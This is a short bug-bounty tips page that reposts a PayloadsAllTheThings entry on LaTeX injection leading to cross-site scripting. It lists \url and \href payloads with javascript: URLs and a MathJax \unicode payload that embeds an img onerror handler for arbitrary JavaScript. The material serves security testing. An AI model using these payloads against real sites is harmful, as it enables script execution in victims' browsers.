LaTeX Injection: Cross Site Scripting

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

From @EdOverflow

tex
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

In mathjax

tex
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}

Comments

No comments yet.